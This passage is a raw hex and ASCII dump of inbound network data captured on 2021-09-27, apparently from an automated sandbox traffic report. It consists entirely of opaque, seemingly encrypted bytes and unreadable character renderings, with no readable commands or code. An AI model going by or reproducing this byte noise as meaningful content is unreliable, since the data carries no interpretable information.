a0 e6 68 8a fc a5 ff Data Ascii: l'_e3vG0HO^U{$XjTW];P8!+Jm{@u5+z7\|="}\P;N\|3 1wKesi7nApNSMb:PV/YOu7-1Q0x`"Ur#\|K)S;7x^XBn3M\S3rh
2021-09-27 16:55:59 UTC	76	IN	Data Raw: ac 1e 23 9e a0 31 eb 0e f0 70 97 e0 15 69 a9 2e 2d d4 ef 21 c2 17 9b d3 cd 93 49 af 6a 09 86 1a b0 44 39 fa 8e ba b9 8f 58 c8 9b 66 1e 2e 11 36 5b 3e 8e 5f 5f 06 a4 40 36 25 bf 2f 53 c7 83 6f f4 1a d6 1c 57 cc 24 c0 53 8c 91 9c be ca ba 35 fc 8d 22 52 9a 75 13 91 16 92 3c e8 53 d0 ca 5c 6b c2 2e 91 44 c9 2c 2b 9f c2 86 61 44 72 e0 73 ed ee 76 73 e3 6b d1 40 06 a2 92 6f df 32 a9 82 3d 3f 2e 1c c5 5e 3b b6 90 61 be 3f 82 d8 52 d5 e0 d0 24 c3 e8 10 2b 83 a9 ed f8 99 57 e8 7c 30 4a 5a 2e d5 47 7e 94 66 01 a8 75 c4 e7 6c cc 08 73 e6 55 64 a5 42 5c 95 f9 b5 99 c3 f0 d1 1f ce e9 73 8b 26 49 37 61 d3 59 0b c5 cd 47 42 35 33 e2 38 74 88 70 09 ab 47 35 3a 30 b2 34 e9 84 68 e7 05 3d 6e f8 6e f7 b7 8b da 01 c3 66 77 bb a2 f7 e3 b8 0e 28 61 c7 c7 ab b2 82 6b 4d 85 c4 Data Ascii: #1pi.-!IjD9Xf.6[>__@6%/SoW$S5"Ru<S\k.D,+aDrsvsk@o2=?.^;a?R$+W\|0JZ.G~fulsUdB\s&I7aYGB538tpG5:04h=nnfw(akM
2021-09-27 16:55:59 UTC	77	IN	Data Raw: 26 e3 f0 28 82 3c d8 0c 1d 6b d9 1c 8b 2b 5d 66 25 be b0 54 c0 f8 5f da 18 9f ad e8 20 cb 26 45 f1 75 f0 fd 02 fd 9d ca 73 d4 ca 7b f1 1a 5e 7f 56 73 0b 5b ef 29 4b 46 68 ca e7 63 55 7a 85 2e 87 5e 48 83 77 07 aa 63 04 ae b5 04 dd 64 dc 31 51 e3 09 46 73 28 51 3a d1 2a 5e 17 27 e0 11 c4 65 38 95 c8 da 10 02 b3 82 d6 d4 b5 d7 10 85 e3 ec f4 e8 d3 af 82 cf e8 12 52 51 8a 87 d4 70 60 99 74 d3 c2 86 53 b0 5e 74 33 9d 49 e9 78 9f b0 f9 59 be c1 d3 89 a2 84 8b 41 f5 92 a3 ee 36 9a 85 49 b2 08 c3 76 90 b3 b1 be 3b c0 ba 11 3c 22 e5 8e f7 e6 10 74 67 e3 f1 98 46 f5 fa c3 c1 5b 50 9e 74 79 eb 02 95 ca 92 ab ed 67 8d c4 bd 0d ca e4 80 5f 6e f2 af 75 21 ab 99 38 aa 94 12 42 f5 36 e1 be 00 c1 e5 db 8b ad 53 6d 2d b1 a5 16 78 60 48 3d 1b 3e 84 a7 1f 73 ff 25 04 75 05 Data Ascii: &(<k+]f%T_ &Eus{^Vs[)KFhcUz.^Hwcd1QFs(Q:*^'e8RQp`tS^t3IxYA6Iv;<"tgF[Ptyg_nu!8B6Sm-x`H=>s%u
2021-09-27 16:55:59 UTC	79	IN	Data Raw: c2 2e 81 57 ea 17 29 87 3a 91 65 68 59 e2 52 18 df 86 10 f9 66 d5 63 3b ae 6f 13 8f 3c 79 a6 17 3f 2c 34 c2 6e 39 bc b4 7e b1 32 8a d1 4d cd 08 da 23 c1 38 4b 3c 7d a9 e9 ee 81 5c e2 14 3b b6 5b 08 d3 3f 6b 96 61 13 5a 6b e2 e8 47 c7 34 6e e5 02 1b bd 4f 58 b6 c4 a0 64 bf a1 df cf d4 c3 73 89 0e 4e 07 63 d9 7d 14 dd c0 4f 4b 2a 3a 0a 32 73 9b 48 47 bd b9 34 09 2b a7 3f e0 9c 73 e7 05 3d 79 eb 4d cf b5 93 22 16 c7 4a 5c b9 83 02 a1 ae 70 28 61 dc e3 84 b0 88 09 25 7b c5 6d 48 be b5 0a c3 c6 81 1b 8a a6 cf f9 82 42 fb c8 40 a6 21 b7 e3 09 2c 48 1b c8 55 f3 16 40 d2 03 36 b8 d4 53 ea e5 12 bc f2 0b 58 99 83 c2 e5 a4 ac f1 5c 89 02 68 e3 08 8f 36 15 fa 59 94 da fc dc d7 6b 78 12 fc 09 94 ed 67 fe ec e4 ff e5 4e 02 46 f9 c3 c1 1a 34 5e 88 e0 7c f6 c5 8d 87 33 Data Ascii: .W):ehYRfc;o<y?,4n9~2M#8K<}\;[?kaZkG4nOXdsNc}OK*:2sHG4+?s=yM"J\p(a%{mHB@!,HU@6SX\h6YkxgNF4^\|3
2021-09-27 16:55:59 UTC	80	IN	Data Raw: 38 95 db 76 14 1d ab 9d 9f 48 15 c8 21 82 69 e1 c0 c1 f3 74 95 31 e9 a2 56 56 b2 98 dc fa 98 87 6c ce e5 11 55 a8 73 aa 92 b1 4b c2 e6 b2 4c cd 02 4e c1 d3 8d 14 a0 96 75 a8 01 a3 ee 32 2c 85 7c 8a 04 fa ee 96 2e 88 9e be c0 ba 11 a0 26 d2 a3 d7 17 1a 77 4a 74 df b9 78 d5 34 b0 e7 59 cc 92 11 47 c8 80 0f ce 92 31 3b 6d b0 db c9 b9 d8 fb be 75 c0 d5 ad 75 b7 85 1a 07 b4 02 7b 42 b4 2d 7b ba 6c d1 fb a2 11 c4 67 2e 3a 2b a1 66 11 41 aa 3b 18 16 27 a4 00 31 b0 9a 06 75 0f db ea 3f 14 91 0f b2 08 37 37 3f 54 f4 fa e8 60 65 d7 59 2c 4b c3 69 d8 63 c5 ec aa ee 76 22 4e ef db 96 31 25 15 a0 15 19 23 6c 87 84 d0 90 c3 3c d9 97 d1 0a 80 23 ce b5 31 92 db 3d b5 e0 ef 11 88 96 6a eb 22 24 d5 13 6c 54 fc a9 4a 36 31 c4 2b 56 2a 25 02 cb e2 e0 34 6c 8d 39 b5 63 11 27 Data Ascii: 8vH!it1VVlUsKLNu2,\|.&wJtx4YG1;muu{B-{lg.:+fA;'1u?77?T`eY,Kicv"N1%#l<#1=j"$lTJ61+V*%4l9c'
2021-09-27 16:55:59 UTC	81	IN	Data Raw: 93 09 d3 80 7b 03 3a 07 dc c0 4d 61 2a 2b 1c 2a 68 85 48 b5 aa 47 35 89 29 bf 25 f6 96 4e 5a 04 18 62 02 47 e3 b8 89 f4 26 eb 48 7d 96 9e fb ae d5 07 30 9f d9 e5 a3 b6 9f 25 42 76 c5 60 78 7a b6 0e d0 d0 ab 0a 85 b1 bb 6d 7c 43 d3 e0 4b 9b 23 be dd f7 2d 64 11 df 58 e2 09 50 07 19 1a bd e8 af c0 72 63 8d fb 0b 55 84 7a ac e3 a4 bb f0 5e e1 31 94 e2 2e 8a 72 3d d3 ba 9c 89 38 d8 d7 69 7a d8 ff 0a e3 96 37 f2 fa cc d7 b8 4e 11 7c d3 7f ed 1a 32 76 a4 e0 7c ed fb f6 ad 28 f0 aa 40 d8 65 d5 3a b1 fd d8 66 c6 57 f2 3a a7 5a 34 bb 44 aa 27 09 44 5c 83 27 cc e0 55 09 c5 9d ef 1d c0 31 c0 d9 54 27 3a be c2 b7 1e c4 1a 7f 6a 94 33 b7 2c d3 58 eb 84 2d f0 56 17 57 fb 06 15 dd b9 2e 97 cb 83 ac 2b ef fd c1 c7 dc bf 00 11 60 07 3a 90 f0 0d 17 a4 2d 05 a7 05 33 61 7d Data Ascii: {:Ma+hHG5)%NZbG&H}0%Bv`xzm\|CK#-dXPrcUz^1.r=8iz7N\|2v\|(@e:fW:Z4D'D\'U1T':j3,X-VW.+`:-3a}
2021-09-27 16:55:59 UTC	82	IN	Data Raw: 67 d1 45 93 ac ce 83 40 eb 10 3f 93 ab a4 4b 6a 78 c8 c6 ff dd fb 7a d1 48 d1 49 13 ba 5f 65 fa 14 b9 a6 3d 39 43 f8 d1 5e 31 bb 8d 72 de 06 80 d1 47 f4 df d5 08 dc 2e 64 05 83 a8 cf fa aa 5c eb 3b ef 4c 5a 22 be e4 60 96 6c 0c b5 66 a1 de 6e c5 15 a5 24 7d 66 bb 59 74 b2 e6 a2 6d d4 ef d4 c6 f8 2d 77 89 08 32 fb 61 d9 5f 13 cc cc 28 7f 28 2b 16 11 9d 84 48 46 bc 6f 1b 25 29 b5 22 d3 90 6c 31 c2 15 7b fa 29 03 b2 8b d6 10 fa 44 18 8f aa e1 a9 fd c9 2c 61 de df 8e 9c 8b 74 51 6d f6 62 6b ac 7f 26 d4 c0 ee dd 88 b1 b8 52 4b 46 ff e4 54 87 2f d8 ff 0b 2c 42 7c 2b 54 e2 0a 5e ca 16 3f b8 d2 a1 84 fd 12 a4 f3 64 93 8f 7d c9 d8 aa ac 2c 4f 82 0b 9a f3 37 b3 15 e8 2e 45 9f b2 87 ca db 7e 56 18 8c 0b e9 94 47 01 e8 ce ff d6 46 00 72 d3 b1 e8 1a 32 52 91 e4 6d e3 Data Ascii: gE@?KjxzHI_e=9C^1rG.d\;LZ"`lfn$}fYtm-w2a_((+HFo%)"l1{)D,atQmbk&RKFT/,B\|+T^?d},O7.E~VGFr2Rm
2021-09-27 16:55:59 UTC	83	IN	Data Raw: c8 2a c2 4f 32 84 df f5 1b 8e a4 82 d6 d5 05 ff 2c 96 f5 ed f7 ce d1 a8 9f 19 5d 3e 50 43 ad 18 ce 75 97 98 49 d8 cf 73 52 9b 4b 8e 31 6b c7 fd 7a b4 52 e8 26 cb d2 da 8d 99 af 91 bc 89 d0 a9 ea 25 66 7d 68 b0 1b ea 61 99 31 a0 b7 20 3e bb 3d 39 36 c7 85 e4 ef 1a 66 43 ff 27 a7 6f f6 e4 a3 ee 59 41 9d 13 85 e9 06 09 d8 f8 87 23 61 84 c4 ad 2c c7 1a 81 79 0a cb 20 5e 2b 83 04 2b af 84 6e 54 f4 27 ee aa 8d 91 c8 d8 9a d1 71 6c 3c be b8 70 ac 60 64 39 33 13 83 bb e0 8a 6f 1c 02 6a 06 cb d3 20 51 b0 c1 9a f9 36 ab 33 67 b0 cd 4d 77 69 ca c8 3c 47 82 4f 74 7b d4 e9 20 ea 12 ac 51 d7 43 94 39 b6 9b 5c 8d 08 e6 d8 93 8d 4c 81 cf 71 c2 f1 97 0f 8c 67 c2 bc 86 e7 d5 77 bd 52 70 25 d5 c9 70 a9 b8 20 b1 9a 73 23 64 be 52 f7 26 fc 6d 4d 6a 10 cf e4 81 e6 2b 3e 9a 47 Data Ascii: *O2,]>PCuIsRK1kzR&%f}ha1 >=96fC'oYA#a,y ^++nT'ql<p`d93oj Q63gMwi<GOt{ QC9\LqgwRp%p s#dR&mMj+>G
2021-09-27 16:55:59 UTC	84	IN	Data Raw: d0 2e e8 5f 80 36 ea ca 9e 26 4a 34 ce cf 47 5a 25 34 2b c7 59 ac 3f 42 d1 8e 35 25 2d b7 25 e4 4d ea 32 04 11 79 d4 01 ce b2 81 de 6c 2d 48 77 bf ae 92 9d d7 0e 22 70 dd ba 99 b0 8b 7e 73 3b c7 69 68 8d a1 b4 a7 f9 83 11 82 99 f2 78 82 48 f6 f5 c5 e5 1c b5 cb 03 04 08 11 c8 5f eb 18 dd 8a 27 34 bf c9 85 ab cb 10 ae f0 12 c9 fc 42 c1 c9 ac 93 ba 5e 8e 10 be a3 26 8d 17 1e cb 2c 21 ce 90 dd d7 65 2f e6 fe 0a ed 8d 5f ed e7 ce ee ea 51 24 88 fa ef 88 18 4f 97 80 e0 78 ef c2 82 7a a7 dd ae 48 f2 fb d3 49 85 ae f0 f7 d7 52 8b 2d 61 58 3e 95 2c 9b 26 03 47 62 39 56 f3 e8 56 2b 29 df ed 1b e2 1f d7 4f 2d 77 15 bc c8 95 59 a9 30 77 63 86 b2 ab 3d d3 58 eb ab 02 d8 54 1d 75 ad 6b 3a d5 b0 3d 06 13 c6 2a 2a e5 ed 2b 8a 0b bf 0a 12 10 00 2b 9f fa 3a 1f d4 3d f9 a6 Data Ascii: ._6&J4GZ%4+Y?B5%-%M2yl-Hw"p~s;ihxH_'4B^&,!e/_Q$OxzHIR-aX>,&Gb9VV+)O-wY0wc=XTuk:=**++:=
2021-09-27 16:55:59 UTC	86	IN	Data Raw: fc 4a 5f 94 1f 74 f7 26 f1 cf be 9c 3f 71 fe fa be 25 d4 fa ea 26 3e d7 ad 7f 03 c3 07 38 a0 8f 79 45 2c 45 a2 be 73 9a cc 9b 8f c2 72 44 6c b5 a7 73 4a 0e cc 3a 18 10 b1 bd 12 66 9f 0d 17 7a 16 b9 ed 0c 67 b3 d4 c1 36 35 ab 33 52 d8 a9 78 62 65 dd ed 6a 56 84 43 70 22 c7 ec 3c f0 06 ee 50 d7 41 e3 10 6e 0a ca f7 5c 3e 26 92 a7 08 94 dc 7d ee ad 4f 0c 95 64 cb a8 a2 94 d5 7f b5 cc 8d 16 bb d1 4d b2 46 dd 35 43 36 30 6f af 44 69 31 c2 49 51 19 37 1f bf b7 e6 2b 3a 9a 49 2d b3 81 5f 87 f5 a6 37 d5 31 9b 7d 83 d4 ea 7a 4b 9f d1 ad 57 55 90 11 32 9d c5 26 c7 0e fa 52 c1 a2 07 61 81 6f 30 c9 e8 28 dd 9e 38 42 df be 47 75 0c db 86 18 9c 4f 13 e9 8b b6 b7 95 4a 82 6c 78 29 da 01 16 44 d0 71 52 40 4d a8 53 3b 34 b9 29 53 c7 83 66 ce 28 e0 e3 a8 d6 10 f2 a1 6a 90 Data Ascii: J_t&?q%&>8yE,EsrDlsJ:fzg653RxbejVCp"<PAn\>&}OdMF5C60oDi1IQ7+:I-_71}zKWU2&Rao0(8BGuOJlx)DqR@MS;4)Sf(j
2021-09-27 16:55:59 UTC	87	IN	Data Raw: 18 36 b5 d0 bc f8 cf 28 35 fc 0b 5f 8d 7e b0 f7 a4 bb f0 42 e4 69 a9 e0 24 87 35 57 d3 ba 9c b0 85 c4 0f 1c 17 32 fe 00 c1 d2 65 fe e2 e6 be e7 4e 1b 6e 94 47 e8 1a 32 55 83 93 42 e5 d3 8c b3 4c 9c dd 77 f2 f9 df 12 f2 ae f0 f7 d0 79 fc 15 60 8f 3f bf 6b 1d 49 88 4f 74 a9 a9 f3 ea 56 20 12 93 ed 1c 6c 07 cc f1 04 48 17 b6 ad 3f 18 ab 36 6e 60 9c 23 54 44 d1 58 e0 92 4e dd d8 51 5d ec 68 12 68 b9 24 9a 8c 9a af 2b ef fc 22 c8 de bf 0b 3e 3c 37 38 9a d2 71 10 cb 15 68 26 0e 34 08 c2 52 7d 09 b2 85 5d 8e da 96 03 35 9f 1b ef d5 6f 2e d6 2d e3 f5 32 7b b1 b2 0e 36 68 e3 f3 8e dc 77 66 25 bb b2 c1 c2 fb 28 9e 2b 9e a9 c8 37 47 19 56 c1 76 d8 e6 03 fd 97 73 29 d4 db 67 eb 38 6d 25 51 64 ff 35 41 2a 53 4b 15 02 f1 9d 50 51 0b 7f 8c 5e 4e 8a 80 01 0a 27 2f ac 9f Data Ascii: 6(5_~Bi$5W2eNnG2UBLwy`?kIOtV lH?6n`#TDXNQ]hh$+"><78qh&4R}]5o.-2{6hwf%(+7GVvs)g8m%Qd5A*SKPQ^N'/
2021-09-27 16:55:59 UTC	88	IN	Data Raw: c4 46 90 24 ce 21 94 8b 64 f7 26 98 8b 45 87 da a1 49 cc 4d 0c 9d 14 01 bb ad 90 d5 7d a8 8f 00 29 95 d8 7f a9 b6 51 f5 5e 73 29 48 ef 57 66 24 fa b3 23 70 76 1d ce 56 a6 29 3e 98 70 68 67 0e 7e 96 f0 b5 12 48 19 9b 77 83 d4 e1 7a 4b 9f 60 b1 ed 56 90 1d 0b d4 b4 19 cf ac e1 7e eb b1 02 7a a4 a1 1b c9 e2 23 b0 c5 8f 2d c8 69 f0 6c 75 18 8b 0f 4e 43 34 eb 89 a7 b4 a4 c0 35 6d 86 14 d6 07 cc 40 00 73 58 4e 17 85 3a c1 da 49 0a a4 c7 af 68 ce 28 ef e3 a8 d6 2a 44 cb 8e 2f 67 92 c4 b9 44 f7 fc 1c 5a f5 76 08 fb 6f a6 24 e5 59 f1 95 47 95 c9 2a c2 42 e1 1d 36 f0 40 91 49 6c 01 de 7b fb d7 83 2f fb 66 db 61 5d ae 6c 64 db 77 7b a2 37 2c 23 22 c0 51 28 af 8f 6e 9a 5c 80 d2 3e e2 1c d1 02 c5 34 26 58 bc aa c5 e6 b1 17 e0 13 27 59 4a 3c 09 5b 25 94 66 01 8c 2a cc Data Ascii: F$!d&EIM})Q^s)HWf$#pvV)>phg~HwzK`V~z#-iluNC45m@sXN:Ih(D/gDZvo$YGB6@Il{/fa]ldw{7,#"Q(n\>4&X'YJ<[%f*
2021-09-27 16:55:59 UTC	89	IN	Data Raw: 9e c3 19 ff 1d c0 de 46 b6 16 90 c0 96 1b 80 d3 7f 11 55 24 d8 06 5f ef cb 83 42 c9 64 14 5d 99 69 3a df b1 24 90 b5 bf a5 00 be eb a9 ed 20 be 26 0c 0b 34 43 5b fa 2b 14 c8 90 2d a7 0f 36 75 9e 6d 7d 0d 3d 21 66 cc b5 77 18 3e 9b 15 e9 2d b8 8d fe 35 e8 f7 37 64 c3 f5 22 3b 6a f0 84 42 50 31 62 ab 0d a8 bd db f0 22 b1 01 61 a8 ee 24 df 0c 4c ca 77 f7 c3 fc fc b1 59 64 df db 6a e1 cf 44 53 53 4f f7 71 60 29 28 86 68 cd f5 9e db 7c 87 39 8e 25 9f 9b 89 02 82 fb 05 ac 9e e7 cc 2f b2 31 bf e7 23 70 c9 2b 79 3a c7 39 50 52 92 e0 11 c0 4f 29 91 c6 14 13 2e 9e a9 b4 ca 00 d3 10 85 f1 fe 21 f2 ff a6 83 33 92 f2 50 49 85 09 64 6b 92 82 4b d5 d5 9c 57 a0 b8 8b 1e b2 53 d1 7e b4 42 ff 39 2e c0 ff 93 8a dd 45 42 88 f8 ab 74 5d b7 82 63 b8 1f 9c 75 91 31 bb d1 76 c2 Data Ascii: FU$_Bd]i:$ &4C[+-6um}=!fw>-57d";jBP1b"a$LwYdjDSSOq`)(h\|9%/1#p+y:9PRO).!3PIdkKWS~B9.EBt]cu1v
2021-09-27 16:55:59 UTC	91	IN	Data Raw: a9 28 24 da e7 35 d8 0e 99 3c cb 31 f0 68 ab 1a 90 0b 97 7b 10 eb 83 a7 a9 0b 43 e6 b5 68 03 c1 17 0b 5c 97 7d 51 3e 2e 51 5d 3b 2f 9e e6 ac c6 a5 40 e8 53 29 e9 bb d4 38 cf 4d 43 7c 92 83 cb a8 50 c5 5e 33 50 e4 7a 7e b7 1e 99 20 f4 5b f1 07 41 95 c5 6d a9 42 e1 11 28 8e cc ff 51 6b 72 ea 68 ea ca 2b 7f e8 77 c0 58 0b 22 db 51 51 c2 86 5d e3 30 09 1c e6 5e 3b b6 8f 6e 99 0a 82 d1 47 02 1e d7 22 da 38 0d 37 83 a8 c5 ec 99 57 fa 13 2d 48 d7 25 d1 28 c5 97 66 0b ab 6a ce ea 76 c5 1f 8c d1 7b 18 cf 4e 5c 96 f1 8a 35 c0 dc d5 e5 d0 e9 60 b9 0c 5d 05 61 d9 55 11 dd c0 56 5d 21 00 07 39 5f 97 b6 41 86 45 2d 2e 29 b8 22 1e 9a 49 1b 13 1a 7b fb 5e 31 b3 a7 de 3c e9 63 94 b9 d3 b2 a1 d5 04 56 13 d9 c9 ac 9a fa 75 5b 71 ef 69 62 97 87 20 d4 f6 81 11 88 b4 b2 7a 93 Data Ascii: ($5<1h{Ch\}Q>.Q];/@S)8MC\|P^3Pz~ [AmB(Qkrh+wX"QQ]0^;nG"87W-H%(fjv{N\5`]aUV]!9_AE-.)"I{^1<cVu[qib z
2021-09-27 16:55:59 UTC	92	IN	Data Raw: bf d1 f3 b6 85 60 d1 f1 22 a7 12 80 be 3c 21 e7 29 47 c9 66 f9 5b b5 c2 05 5b 73 d4 c4 75 e9 3b 45 6e 5b 7e 0b 5b ef 2d 45 5e 6e d6 e2 97 54 47 8d 26 9e a0 4e b7 81 17 83 4c 22 b3 8d f4 d5 1f a0 3b 4e f3 dd 71 5d 39 68 2e c7 23 5c 7b 4f 6e a6 e8 7a 39 95 d1 f5 07 11 91 82 c7 de 0c d8 ee 95 d9 e0 c9 e0 db b7 85 22 e3 3e 41 43 9f 79 d2 4a 98 b3 0c ce dc 9e 59 b7 57 80 2e 4f 4a ee 70 a5 54 ea 24 4a d2 d7 90 9b ac 89 53 82 e5 5d ef 1e b6 80 70 b5 01 e0 78 90 20 bb a1 2d 3e bb 3d 36 31 c5 8e 21 f5 12 68 5d fb d3 a6 52 ff e3 a1 19 58 7c 9f 1f 72 f9 22 95 dd 97 b2 2f 61 87 c4 ad 2f c1 ee 7e 54 2d df bc 73 3c 55 16 3e b5 95 6e 57 f4 27 ed a3 78 6e e5 f7 81 d3 7e 7d 2a 39 10 4b cf 7e 44 28 12 16 aa a8 07 8b 91 21 03 63 04 5e ff 2a 51 a0 dd a5 f6 36 87 3a 53 a1 d0 Data Ascii: `"<!)Gf[[su;En[~[-E^nTG&NL";Nq]9h.#\{Onz9">ACyJYW.OJpT$JS]px ->=61!h]RX\|r"/a/~T-s<U>nW'xn~}9K~D(!c^Q6:S
2021-09-27 16:55:59 UTC	93	IN	Data Raw: 79 fd cb 70 6b f9 66 d0 5d 0d b8 44 cd f3 3c 73 8a a1 3f 2c 3e c0 52 2f 94 22 7c b1 34 94 5c 4a dc 1e d0 1c ce 2c 64 88 83 a8 cf c4 c3 57 e2 19 3c 45 2e 16 d1 28 62 94 1d d2 a4 6a ca c2 19 c5 1f 8b f4 73 4d fa 5e 5a 8d ea b6 4f 14 d8 df c9 c6 64 74 89 0e 5c 23 75 cd 7d b7 dd c0 4d 63 b6 2b 1c 33 49 8c 5c 68 14 45 35 23 3f 32 33 e0 9b 64 0d 10 05 53 5f 46 cf b8 a3 86 17 eb 42 66 b6 dc d3 a3 d5 0c 3c 49 ad c9 a6 b4 98 7e 4a 71 d3 47 6d 87 a6 28 dc ee 2e 10 88 b7 94 6c 91 45 d4 ed 42 9d 34 61 d8 02 3d 43 02 c7 6b ca ff b4 06 09 31 86 4f ad eb c9 12 df 25 0b 5f 8b 7f b8 15 a6 bb fe d2 39 0d 4c 78 37 83 1f 6c 0c ba 96 a5 af c7 c6 69 55 21 fa 1b e7 e6 55 fe e8 cc fd 9e 97 11 76 ff eb 9c 1a 34 58 93 ea 57 f3 c2 80 ab 39 f2 bf 46 84 cb d5 3a b9 b8 d8 88 c6 57 fe Data Ascii: ypkf]D<s?,>R/"\|4\J,dW<E.(bjsM^ZOdt\#u}Mc+3I\hE5#?23dS_FBf<I~JqGm(.lEB4a=Ck1O%_9Lx7liU!Uv4XW9F:W
2021-09-27 16:55:59 UTC	95	IN	Data Raw: ff 88 b2 f1 d3 a2 b3 20 e2 16 74 4a 81 81 bc 0a 9c 98 52 f7 db 88 42 bc 29 58 32 b1 41 93 74 b0 15 d7 2b d4 e1 68 8c 88 a6 dd 69 8c f8 bc be 66 b8 ab ec b3 1b f9 5e c2 20 b5 a9 a1 d3 aa 12 2d 30 9c 88 e7 f9 20 18 24 ea d9 ac 50 fa ed bf f2 62 e3 94 0e 7b f9 3a 1e c1 85 7b 52 7a 8c c4 b6 21 f6 8b 82 55 0b f9 a3 76 3a 93 13 29 a5 f1 92 5d f4 3c b6 97 61 9e e0 9d a1 cb 7c 4c 96 b6 a7 79 06 4a 4c 3f 07 46 ef 89 61 7d 8f 37 69 1b 0d 47 e6 33 40 a0 c6 a7 3b 77 a8 31 1a a3 de 50 fa 76 c5 d4 38 4b be 26 36 61 c5 e6 25 f9 78 7b 44 f9 11 81 3c 7d 1b d7 5f 70 34 27 98 85 48 be b3 75 c6 ec 60 1e 91 6b 97 97 a4 90 e4 cb ab 88 73 43 bc dc 71 a7 ee 76 e1 73 70 2b 76 be 44 09 c1 eb b7 5a 64 7c 0c d5 69 30 44 36 93 58 23 61 26 1b 85 f5 ae 32 d5 3e 9f 31 ad a6 28 5a f0 9a Data Ascii: tJRB)X2At+hif^ -0 $Pb{:{Rz!Uv:)]<a\|LyJL?Fa}7iG3@;w1Pv8K&6a%x{D<}_p4'Hu`ksCqvsp+vDZd\|i0D6X#a&2>1(Z
2021-09-27 16:55:59 UTC	96	IN	Data Raw: 18 3b 78 80 08 41 aa ca 1e 25 29 be 49 07 9b 65 1d 06 62 08 fe 46 c5 cf 68 dc 17 ef 4a 0c 58 a8 e1 a7 d7 61 67 60 d8 c3 a4 c1 f8 76 5b 71 b8 8d 62 84 b3 20 af 22 81 11 8c b3 dd 35 83 42 f5 e0 28 75 23 b7 cf 0b 57 af 13 c8 51 f4 02 30 1e 18 36 bb 4d 1a 84 bd 12 a4 f3 09 24 6b 7d c3 cd a4 c0 1d 5c 8e 1e 80 e0 5f 6a 1d 17 d5 34 21 ce f7 de d7 65 50 4b 1d 0a e9 96 73 00 ee 79 fe e5 48 62 03 f9 c3 e3 75 42 5c 80 ea 7e 9c 37 86 ac 2c e2 50 4e 47 f8 d5 3c c8 d9 f2 fd cc 38 8e 10 63 52 36 aa 11 71 26 09 4a 5e af 25 df da 55 21 e1 9e ef 1b 22 16 c0 c8 48 5b 11 84 10 bc 19 ab 30 6c 6c 81 29 26 03 fd 57 e3 f8 a6 da 54 13 75 98 69 3a d9 a6 2a 83 a2 a9 bf 2d fa fe 50 f6 f2 b3 08 07 0a 4b db 90 fa 2f 0f dd 0c 01 a7 1e 32 14 b0 6c 51 0c a4 9a 4f 9f a7 5d 12 33 84 1b 00 Data Ascii: ;xA%)IebFhJXag`v[qb "5B(u#WQ06M$k}\_j4!ePKsyHbuB\~7,PNG<8cR6q&J^%U!"H[0ll)&WTui:*-PK/2lQO]3
2021-09-27 16:55:59 UTC	97	IN	Data Raw: d4 f2 1a 5e df db 88 5d 1c 83 05 32 a7 b6 45 5d f4 3c 39 bc 74 ba e4 da 9d c2 78 6c 2d 97 a7 72 79 61 46 ae 18 16 ba 48 1d 5d 87 0d 06 7f 0d 51 91 2a 50 b1 d3 b0 1e 4a a0 38 4b b6 d8 34 1f 67 d7 cf 57 58 85 49 5c 61 bb 7f 36 e8 63 17 5e d6 47 94 2c 78 77 d0 88 1f 38 24 8e e5 31 87 dd 77 c2 cc 77 0e 88 00 6c ba ad 92 c6 58 2a 8a 73 1d bd f2 76 94 b8 20 a5 94 72 23 66 85 55 66 2e f8 87 53 35 12 1d c4 7e 28 2b 3e 83 4c a9 71 0f 74 83 d5 11 1e c7 30 b3 f6 83 af 26 fa 5e 9a d7 da 49 57 91 1b 23 15 cd 19 c5 0f 70 6e 80 a0 03 7d d7 3a 33 c9 e6 af 7c 1f 55 20 c7 94 68 78 c9 03 90 14 9e 47 66 ec b2 ba 86 ba d6 70 7f 7f 12 b4 71 10 78 02 64 49 3b 0c b3 4b ed 29 be 2f 9c 24 d1 7c cd 53 2d e4 ae 4c 2e d7 8c 9e 68 94 a3 09 93 46 f4 9c 12 5b f5 34 11 91 1c 56 26 e5 42 Data Ascii: ^]2E]<9txl-ryaFH]QPJ8K4gWXI\a6c^G,xw8$1wwlXsv r#fUf.S5~(+>Lqt0&^IW#pn}:3\|U hxGfpqxdI;K)/$\|S-L.hF[4V&B
2021-09-27 16:55:59 UTC	98	IN	Data Raw: 13 c6 14 83 0b e6 f3 f0 cb bb 91 31 f8 3a 4a b7 80 ab d6 4d 95 83 4b d5 d5 9c 57 ab b8 8b 1e bd 49 db 7c c7 0a fb 22 da cd ce 9e 8c a6 98 46 91 02 a2 c2 37 a7 89 79 a1 1f f3 63 94 29 4f bf 17 c7 b9 06 0f 82 d4 8a f3 e6 0b 73 54 16 d8 8a 48 fc fe cd ea 58 50 90 11 72 fb 2e 0f df 96 bb c3 73 a1 c7 ab 36 da e4 91 51 1e dc 53 74 07 81 2e 3d 92 f7 82 a2 0b 3f cd bc 73 90 f7 eb 8f c2 33 6c 2d b7 75 79 52 70 4a 54 9a 14 bb a8 32 7a 93 1a 28 7e 27 69 ee 20 57 c2 54 b0 08 3d d1 4a f0 b3 da 41 6b 62 d5 b8 24 55 84 4d 5f 60 b8 fe 37 e8 6d 6d 55 aa 54 91 2e 68 0d af 52 1e 3c 20 b4 8d 4b bc d8 5a c0 e1 22 c4 9e 6f d7 c8 29 96 c4 7a d0 88 60 27 91 d8 42 b8 be 22 19 5c 73 32 62 d4 47 67 2e ef a0 63 3e 5c c1 c0 7e e0 58 bd 90 58 23 1f 0a 6d 9e 86 fd 1f c7 3a 90 75 82 aa Data Ascii: 1:JMKWI\|"F7yc)OsTHXPr.s6QSt.=?s3l-uyRpJT2z(~'i WT=JAkb$UM_`7mmUT.hR< KZ"o)z`'B"\s2bGg.c>\~XX#m:u
2021-09-27 16:55:59 UTC	99	IN	Data Raw: 4d 56 39 2e 1c 28 5d 96 b6 41 86 44 22 36 2c bf 25 e5 84 72 e7 05 3d 79 d7 43 f7 5e 76 23 e8 c1 48 77 bb bb d1 a6 d5 0b 2a 61 d8 11 a6 b2 9a 76 20 6b c4 69 66 a9 bc 0a 15 c2 81 17 fb 32 b0 7a 88 38 8c 9d 51 96 29 bb dd 03 14 9d 12 c8 55 e0 7b 5b f8 18 32 b9 eb bc ea c9 1a b7 e9 1a 4f e1 5d 93 82 a7 b9 90 1c 49 1b 96 e2 26 f6 0d 16 d1 be 90 bf 55 f4 5c 6d 52 3a de 0a e1 92 67 a1 fe 30 fe f3 b0 10 65 fc c1 92 0a 35 5e 84 e6 63 ed 05 ae 27 2a f6 a4 5b fd fb ae 2a ba ac f4 fb d9 5b 2e 3a 72 59 34 b7 7f 97 24 72 5e 75 af 21 ca f5 46 f7 29 8e ee 1b e2 05 c5 db 25 58 16 bc c6 bb 06 bf e6 55 